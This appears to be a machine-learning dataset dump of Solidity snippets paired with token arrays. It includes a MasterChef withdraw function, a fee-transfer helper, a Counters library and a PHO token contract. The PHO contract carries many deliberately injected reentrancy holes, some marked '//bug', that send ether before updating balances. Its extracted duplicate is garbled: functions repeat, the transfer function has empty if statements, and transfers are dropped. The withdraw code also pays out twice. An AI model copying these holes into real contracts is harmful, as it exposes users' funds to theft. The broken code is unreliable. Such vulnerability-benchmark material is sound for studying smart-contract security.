0; for (uint256 i = 0; i < fees.length; i++) { uint256 fee = getFee(_sum, fees[i]); if (fee > 0) { payable(recipients[i]).transfer(fee); total = total.add(fee); } } return total; } function transferFees(Item memory _item, uint256 _sum) internal returns(uint256) { Collection collection = Collection(_item.collection); uint[] memory fees = collection.getFeeBps(_item.id); address[] memory recipients = collection.getFeeRecipients(_item.id); uint256 total = 0; for (uint256 i = 0; i < fees.length; i++) { uint256 fee = getFee(_sum, fees[i]); if (fee > 0) { payable(recipients[i]).transfer(fee); total = total.add(fee); } } return total; } }
10,297,426
[ 1, 3882, 24577, 13456, 19, 7362, 87, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 423, 2136, 93, 5365, 278, 37, 4062, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 1958, 4342, 288, 203, 3639, 1758, 1849, 31, 203, 3639, 2254, 5034, 612, 31, 203, 565, 289, 203, 565, 1958, 432, 4062, 288, 203, 3639, 4342, 761, 31, 203, 3639, 1758, 3410, 31, 203, 3639, 2254, 5034, 8657, 31, 203, 3639, 2254, 5034, 13859, 31, 203, 3639, 2254, 5034, 787, 5147, 31, 203, 3639, 2254, 5034, 2235, 5147, 31, 203, 3639, 2254, 5034, 1142, 5147, 31, 203, 3639, 1758, 1142, 17763, 765, 31, 203, 3639, 1426, 17271, 31, 203, 3639, 1426, 6708, 31, 203, 565, 289, 203, 203, 565, 2254, 5034, 1071, 279, 4062, 87, 1380, 273, 374, 31, 203, 565, 1758, 1071, 27641, 74, 14463, 814, 1887, 31, 203, 565, 2254, 5034, 1071, 27641, 74, 14463, 814, 14667, 273, 374, 31, 203, 565, 1758, 3238, 2502, 1887, 31, 203, 203, 565, 871, 432, 4062, 23163, 12, 2867, 3726, 16, 2254, 5034, 279, 4062, 16, 1758, 8808, 1849, 16, 2254, 5034, 8808, 1147, 548, 1769, 203, 565, 871, 432, 4062, 10577, 12, 2867, 8808, 3410, 16, 2254, 5034, 279, 4062, 16, 1758, 8808, 1849, 16, 2254, 5034, 8808, 1147, 548, 16, 2254, 5034, 1142, 5147, 16, 1758, 1142, 17763, 765, 1769, 203, 565, 871, 605, 350, 12, 2867, 3726, 16, 2254, 5034, 279, 4062, 16, 2254, 5034, 460, 1769, 203, 203, 565, 2874, 261, 11890, 5034, 516, 432, 4062, 13, 1071, 279, 4062, 87, 31, 203, 565, 871, 432, 4062, 2 ]
./full_match/43114/0x92cd5AB54a821d5D465087E82CB69c485A958b1B/sources/mc.sol
Withdraw LP tokens from MasterChef. Harvest gloSame for refPHP
function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accgloPerShare).div(1e12).sub( user.rewardDebt ); safegloTransfer(msg.sender, pending); emit Harvest(msg.sender, _pid, pending); pending = user .amount .mul(pool.accgloPerShare) .div(1e12) .sub(user.rewardDebt) .mul(refPercent) .div(1100); safegloTransfer(user.inviter, pending); emit Harvest(user.inviter, _pid, pending); refRewardsByAddress[user.inviter] += pending; user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accgloPerShare).div(1e12); IRewarder rewarder = poolInfo[_pid].rewarder; if (address(rewarder) != address(0)) { rewarder.ongloReward(msg.sender, user.amount); } if (block.timestamp < user.timestampIn + maxPaperHandTime){ uint256 paperHandRatio = maxPaperHandTime.add(user.timestampIn).sub(block.timestamp).mul(maxPaperHandPercent).div(maxPaperHandTime); uint256 phpAmount = _amount.mul(paperHandRatio).div(1000); _amount = _amount.sub(phpAmount); pool.lpToken.safeTransfer(treasuryAddr, phpAmount); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } }
4,523,933
[ 1, 1190, 9446, 511, 52, 2430, 628, 13453, 39, 580, 74, 18, 670, 297, 26923, 314, 383, 8650, 364, 1278, 7159, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 5034, 389, 6610, 16, 2254, 5034, 389, 8949, 13, 1071, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 3576, 18, 15330, 15533, 203, 3639, 2583, 12, 1355, 18, 8949, 1545, 389, 8949, 16, 315, 1918, 9446, 30, 486, 7494, 8863, 203, 203, 3639, 1089, 2864, 24899, 6610, 1769, 203, 203, 3639, 2254, 5034, 4634, 273, 729, 18, 8949, 18, 16411, 12, 6011, 18, 8981, 75, 383, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1717, 12, 203, 5411, 729, 18, 266, 2913, 758, 23602, 203, 3639, 11272, 203, 3639, 11029, 1332, 383, 5912, 12, 3576, 18, 15330, 16, 4634, 1769, 203, 3639, 3626, 670, 297, 26923, 12, 3576, 18, 15330, 16, 389, 6610, 16, 4634, 1769, 203, 3639, 4634, 273, 729, 203, 3639, 263, 8949, 203, 3639, 263, 16411, 12, 6011, 18, 8981, 75, 383, 2173, 9535, 13, 203, 3639, 263, 2892, 12, 21, 73, 2138, 13, 203, 3639, 263, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 13, 203, 3639, 263, 16411, 12, 1734, 8410, 13, 203, 3639, 263, 2892, 12, 2499, 713, 1769, 203, 3639, 11029, 1332, 383, 5912, 12, 1355, 18, 5768, 2165, 16, 4634, 1769, 203, 3639, 3626, 670, 297, 26923, 12, 1355, 18, 5768, 2165, 16, 389, 6610, 16, 4634, 1769, 203, 3639, 1278, 17631, 14727, 858, 1887, 63, 1355, 18, 5768, 2165, 65, 1011, 4634, 31, 203, 203, 3639, 729, 18, 8949, 273, 729, 2 ]
/** * Source Code first verified at https://etherscan.io on Tuesday, May 7, 2019 (UTC) */ pragma solidity >=0.4.21 <0.6.0; /** * @title PHO token - for Game coin sale * @author Willy Lee */ /** * @title ERC20 Standard Interface */ interface IERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Token implementation */ contract PHO is IERC20 { mapping(address => uint) userBalance_re_ent26; function withdrawBalance_re_ent26() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function bool success= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent26[msg.sender] = 0; } string public name = "PHO"; bool not_called_re_ent20 = true; function bug_re_ent20() public{ require(not_called_re_ent20); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent20 = false; } string public symbol = "PHO"; mapping(address => uint) redeemableEther_re_ent32; function claimReward_re_ent32() public { // ensure there is a reward to give require(redeemableEther_re_ent32[msg.sender] > 0); uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender]; msg.sender.transfer(transferValue_re_ent32); //bug redeemableEther_re_ent32[msg.sender] = 0; } uint8 public decimals = 18; mapping(address => uint) balances_re_ent38; function withdrawFunds_re_ent38 (uint256 _weiToWithdraw) public { require(balances_re_ent38[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(msg.sender.send(_weiToWithdraw)); //bug balances_re_ent38[msg.sender] -= _weiToWithdraw; } uint256 saleAmount; mapping(address => uint) redeemableEther_re_ent4; function claimReward_re_ent4() public { // ensure there is a reward to give require(redeemableEther_re_ent4[msg.sender] > 0); uint transferValue_re_ent4 = redeemableEther_re_ent4[msg.sender]; msg.sender.transfer(transferValue_re_ent4); //bug redeemableEther_re_ent4[msg.sender] = 0; } uint256 evtAmount; uint256 counter_re_ent7 =0; function callme_re_ent7() public{ require(counter_re_ent7<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent7 += 1; } uint256 teamAmount; address lastPlayer_re_ent23; uint jackpot_re_ent23; function buyTicket_re_ent23() public{ if (!(lastPlayer_re_ent23.send(jackpot_re_ent23))) revert(); lastPlayer_re_ent23 = msg.sender; jackpot_re_ent23 = address(this).balance; } uint256 _totalSupply; uint256 counter_re_ent14 =0; function callme_re_ent14() public{ require(counter_re_ent14<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent14 += 1; } mapping(address => uint256) balances; address lastPlayer_re_ent30; uint jackpot_re_ent30; function buyTicket_re_ent30() public{ if (!(lastPlayer_re_ent30.send(jackpot_re_ent30))) revert(); lastPlayer_re_ent30 = msg.sender; jackpot_re_ent30 = address(this).balance; } address public owner; mapping(address => uint) balances_re_ent8; function withdraw_balances_re_ent8 () public { bool success = msg.sender.call.value(balances_re_ent8[msg.sender ])(""); if (success) balances_re_ent8[msg.sender] = 0; } address public sale; mapping(address => uint) redeemableEther_re_ent39; function claimReward_re_ent39() public { // ensure there is a reward to give require(redeemableEther_re_ent39[msg.sender] > 0); uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender]; msg.sender.transfer(transferValue_re_ent39); //bug redeemableEther_re_ent39[msg.sender] = 0; } address public evt; mapping(address => uint) balances_re_ent36; function withdraw_balances_re_ent36 () public { if (msg.sender.send(balances_re_ent36[msg.sender ])) balances_re_ent36[msg.sender] = 0; } address public team; modifier isOwner { require(owner == msg.sender); _; } function PHO() public { owner = msg.sender; sale = 0x071F73f4D0befd4406901AACE6D5FFD6D297c561; evt = 0x76535ca5BF1d33434A302e5A464Df433BB1F80F6; team = 0xD7EC5D8697e4c83Dc33D781d19dc2910fB165D5C; saleAmount = toWei(1000000000); //1,000,000,000 evtAmount = toWei(200000000); // 200,000,000 teamAmount = toWei(800000000); // 800,000,000 _totalSupply = toWei(2000000000); //2,000,000,000 require(_totalSupply == saleAmount + evtAmount + teamAmount ); balances[owner] = _totalSupply; emit Transfer(address(0), owner, balances[owner]); transfer(sale, saleAmount); transfer(evt, evtAmount); transfer(team, teamAmount); require(balances[owner] == 0); } uint256 counter_re_ent35 =0; function callme_re_ent35() public{ require(counter_re_ent35<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent35 += 1; } function totalSupply() public view returns (uint) { return _totalSupply; } mapping(address => uint) userBalance_re_ent40; function withdrawBalance_re_ent40() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function bool success=msg.sender.call.value(userBalance_re_ent40[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent40[msg.sender] = 0; } function balanceOf(address who) public view returns (uint256) { return balances[who]; } mapping(address => uint) userBalance_re_ent33; function withdrawBalance_re_ent33() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function bool success= msg.sender.call.value(userBalance_re_ent33[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent33[msg.sender] = 0; } function transfer(address to, uint256 value) public returns (bool success) { require(msg.sender != to); require(value > 0); require( balances[msg.sender] >= value ); require( balances[to] + value >= balances[to] ); if(msg.sender == team) { require(now >= 1589036400); // 800M lock to 2020-05-10 if(balances[msg.sender] - value < toWei(600000000)) require(now >= 1620572400); // 10M lock to 2021-05-10 if(balances[msg.sender] - value < toWei(400000000)) require(now >= 1652108400); // 10M lock to 2022-05-10 if(balances[msg.sender] - value < toWei(200000000)) require(now >= 1683644400); // 10M lock to 2023-05-10 } balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } bool not_called_re_ent27 = true; function bug_re_ent27() public{ require(not_called_re_ent27); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent27 = false; } function burnCoins(uint256 value) public { require(balances[msg.sender] >= value); require(_totalSupply >= value); balances[msg.sender] -= value; _totalSupply -= value; emit Transfer(msg.sender, address(0), value); } mapping(address => uint) balances_re_ent31; function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public { require(balances_re_ent31[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(msg.sender.send(_weiToWithdraw)); //bug balances_re_ent31[msg.sender] -= _weiToWithdraw; } /** @dev private function */ function toWei(uint256 value) private view returns (uint256) { return value * (10 ** uint256(decimals)); } bool not_called_re_ent13 = true; function bug_re_ent13() public{ require(not_called_re_ent13); bool success=msg.sender.call.value(1 ether)(""); if( ! success ){ revert(); } not_called_re_ent13 = false; } }
* @title Token implementation/
contract PHO is IERC20 { mapping(address => uint) userBalance_re_ent26; function withdrawBalance_re_ent26() public{ bool success= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent26[msg.sender] = 0; } string public name = "PHO"; bool not_called_re_ent20 = true; function withdrawBalance_re_ent26() public{ bool success= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent26[msg.sender] = 0; } string public name = "PHO"; bool not_called_re_ent20 = true; function bug_re_ent20() public{ require(not_called_re_ent20); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent20 = false; } string public symbol = "PHO"; mapping(address => uint) redeemableEther_re_ent32; function bug_re_ent20() public{ require(not_called_re_ent20); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent20 = false; } string public symbol = "PHO"; mapping(address => uint) redeemableEther_re_ent32; function claimReward_re_ent32() public { require(redeemableEther_re_ent32[msg.sender] > 0); uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender]; redeemableEther_re_ent32[msg.sender] = 0; } uint8 public decimals = 18; mapping(address => uint) balances_re_ent38; function withdrawFunds_re_ent38 (uint256 _weiToWithdraw) public { require(balances_re_ent38[msg.sender] >= _weiToWithdraw); balances_re_ent38[msg.sender] -= _weiToWithdraw; } uint256 saleAmount; mapping(address => uint) redeemableEther_re_ent4; function claimReward_re_ent4() public { require(redeemableEther_re_ent4[msg.sender] > 0); uint transferValue_re_ent4 = redeemableEther_re_ent4[msg.sender]; redeemableEther_re_ent4[msg.sender] = 0; } uint256 evtAmount; uint256 counter_re_ent7 =0; function callme_re_ent7() public{ require(counter_re_ent7<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent7 += 1; } uint256 teamAmount; address lastPlayer_re_ent23; uint jackpot_re_ent23; function callme_re_ent7() public{ require(counter_re_ent7<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent7 += 1; } uint256 teamAmount; address lastPlayer_re_ent23; uint jackpot_re_ent23; function buyTicket_re_ent23() public{ if (!(lastPlayer_re_ent23.send(jackpot_re_ent23))) revert(); lastPlayer_re_ent23 = msg.sender; jackpot_re_ent23 = address(this).balance; } uint256 _totalSupply; uint256 counter_re_ent14 =0; function callme_re_ent14() public{ require(counter_re_ent14<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent14 += 1; } mapping(address => uint256) balances; address lastPlayer_re_ent30; uint jackpot_re_ent30; function callme_re_ent14() public{ require(counter_re_ent14<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent14 += 1; } mapping(address => uint256) balances; address lastPlayer_re_ent30; uint jackpot_re_ent30; function buyTicket_re_ent30() public{ if (!(lastPlayer_re_ent30.send(jackpot_re_ent30))) revert(); lastPlayer_re_ent30 = msg.sender; jackpot_re_ent30 = address(this).balance; } address public owner; mapping(address => uint) balances_re_ent8; function withdraw_balances_re_ent8 () public { bool success = msg.sender.call.value(balances_re_ent8[msg.sender ])(""); if (success) balances_re_ent8[msg.sender] = 0; } address public sale; mapping(address => uint) redeemableEther_re_ent39; function claimReward_re_ent39() public { require(redeemableEther_re_ent39[msg.sender] > 0); uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender]; redeemableEther_re_ent39[msg.sender] = 0; } address public evt; mapping(address => uint) balances_re_ent36; function withdraw_balances_re_ent36 () public { if (msg.sender.send(balances_re_ent36[msg.sender ])) balances_re_ent36[msg.sender] = 0; } address public team; modifier isOwner { require(owner == msg.sender); _; } function PHO() public { owner = msg.sender; sale = 0x071F73f4D0befd4406901AACE6D5FFD6D297c561; evt = 0x76535ca5BF1d33434A302e5A464Df433BB1F80F6; team = 0xD7EC5D8697e4c83Dc33D781d19dc2910fB165D5C; require(_totalSupply == saleAmount + evtAmount + teamAmount ); balances[owner] = _totalSupply; emit Transfer(address(0), owner, balances[owner]); transfer(sale, saleAmount); transfer(evt, evtAmount); transfer(team, teamAmount); require(balances[owner] == 0); } uint256 counter_re_ent35 =0; function callme_re_ent35() public{ require(counter_re_ent35<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent35 += 1; } function callme_re_ent35() public{ require(counter_re_ent35<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent35 += 1; } function totalSupply() public view returns (uint) { return _totalSupply; } mapping(address => uint) userBalance_re_ent40; function withdrawBalance_re_ent40() public{ bool success=msg.sender.call.value(userBalance_re_ent40[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent40[msg.sender] = 0; } function withdrawBalance_re_ent40() public{ bool success=msg.sender.call.value(userBalance_re_ent40[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent40[msg.sender] = 0; } function balanceOf(address who) public view returns (uint256) { return balances[who]; } mapping(address => uint) userBalance_re_ent33; function withdrawBalance_re_ent33() public{ bool success= msg.sender.call.value(userBalance_re_ent33[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent33[msg.sender] = 0; } function withdrawBalance_re_ent33() public{ bool success= msg.sender.call.value(userBalance_re_ent33[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent33[msg.sender] = 0; } function transfer(address to, uint256 value) public returns (bool success) { require(msg.sender != to); require(value > 0); require( balances[msg.sender] >= value ); require( balances[to] + value >= balances[to] ); if(msg.sender == team) { if(balances[msg.sender] - value < toWei(600000000)) if(balances[msg.sender] - value < toWei(400000000)) if(balances[msg.sender] - value < toWei(200000000)) } balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } bool not_called_re_ent27 = true; function transfer(address to, uint256 value) public returns (bool success) { require(msg.sender != to); require(value > 0); require( balances[msg.sender] >= value ); require( balances[to] + value >= balances[to] ); if(msg.sender == team) { if(balances[msg.sender] - value < toWei(600000000)) if(balances[msg.sender] - value < toWei(400000000)) if(balances[msg.sender] - value < toWei(200000000)) } balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } bool not_called_re_ent27 = true; function bug_re_ent27() public{ require(not_called_re_ent27); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent27 = false; } function bug_re_ent27() public{ require(not_called_re_ent27); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent27 = false; } function burnCoins(uint256 value) public { require(balances[msg.sender] >= value); require(_totalSupply >= value); balances[msg.sender] -= value; _totalSupply -= value; emit Transfer(msg.sender, address(0), value); } mapping(address => uint) balances_re_ent31; function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public { require(balances_re_ent31[msg.sender] >= _weiToWithdraw); balances_re_ent31[msg.sender] -= _weiToWithdraw; } function toWei(uint256 value) private view returns (uint256) { return value * (10 ** uint256(decimals)); } bool not_called_re_ent13 = true; function bug_re_ent13() public{ require(not_called_re_ent13); bool success=msg.sender.call.value(1 ether)(""); if( ! success ){ revert(); } not_called_re_ent13 = false; } function bug_re_ent13() public{ require(not_called_re_ent13); bool success=msg.sender.call.value(1 ether)(""); if( ! success ){ revert(); } not_called_re_ent13 = false; } }
14,101,645
[ 1, 1345, 4471, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 453, 7995, 353, 467, 654, 39, 3462, 288, 203, 225, 2874, 12, 2867, 516, 2254, 13, 729, 13937, 67, 266, 67, 319, 5558, 31, 203, 915, 598, 9446, 13937, 67, 266, 67, 319, 5558, 1435, 1071, 95, 203, 3639, 1426, 2216, 33, 1234, 18, 15330, 18, 1991, 18, 1132, 12, 1355, 13937, 67, 266, 67, 319, 5558, 63, 3576, 18, 15330, 5717, 2932, 8863, 203, 3639, 309, 12, 401, 2216, 262, 95, 203, 5411, 15226, 5621, 203, 3639, 289, 203, 3639, 729, 13937, 67, 266, 67, 319, 5558, 63, 3576, 18, 15330, 65, 273, 374, 31, 203, 565, 289, 203, 225, 533, 1071, 508, 273, 315, 52, 7995, 14432, 203, 225, 1426, 486, 67, 11777, 67, 266, 67, 319, 3462, 273, 638, 31, 203, 915, 598, 9446, 13937, 67, 266, 67, 319, 5558, 1435, 1071, 95, 203, 3639, 1426, 2216, 33, 1234, 18, 15330, 18, 1991, 18, 1132, 12, 1355, 13937, 67, 266, 67, 319, 5558, 63, 3576, 18, 15330, 5717, 2932, 8863, 203, 3639, 309, 12, 401, 2216, 262, 95, 203, 5411, 15226, 5621, 203, 3639, 289, 203, 3639, 729, 13937, 67, 266, 67, 319, 5558, 63, 3576, 18, 15330, 65, 273, 374, 31, 203, 565, 289, 203, 225, 533, 1071, 508, 273, 315, 52, 7995, 14432, 203, 225, 1426, 486, 67, 11777, 67, 266, 67, 319, 3462, 273, 638, 31, 203, 915, 7934, 67, 266, 67, 319, 3462, 1435, 1071, 95, 203, 3639, 2583, 12, 902, 67, 11777, 67, 266, 67, 319, 3462, 1769, 203, 3639, 309, 12, 401, 261, 3576, 2 ]
./full_match/4/0x3eA024EfE89b6A64D5FB4ec45628621C6373E3a9/sources/Counter.sol
* @title Counters @author Matt Condon (@shrugs) @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number of elements in a mapping, issuing ERC721 ids, or counting request ids. Include with `using Counters for Counters.Counter;`/
library Counters { struct Counter { } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } }
12,427,441
[ 1, 18037, 225, 490, 4558, 735, 19752, 261, 36, 674, 8653, 564, 13, 225, 28805, 13199, 716, 848, 1338, 506, 28859, 16, 15267, 329, 578, 2715, 18, 1220, 848, 506, 1399, 425, 18, 75, 18, 358, 3298, 326, 1300, 434, 2186, 316, 279, 2874, 16, 3385, 22370, 4232, 39, 27, 5340, 3258, 16, 578, 22075, 590, 3258, 18, 12672, 598, 1375, 9940, 9354, 87, 364, 9354, 87, 18, 4789, 31, 68, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
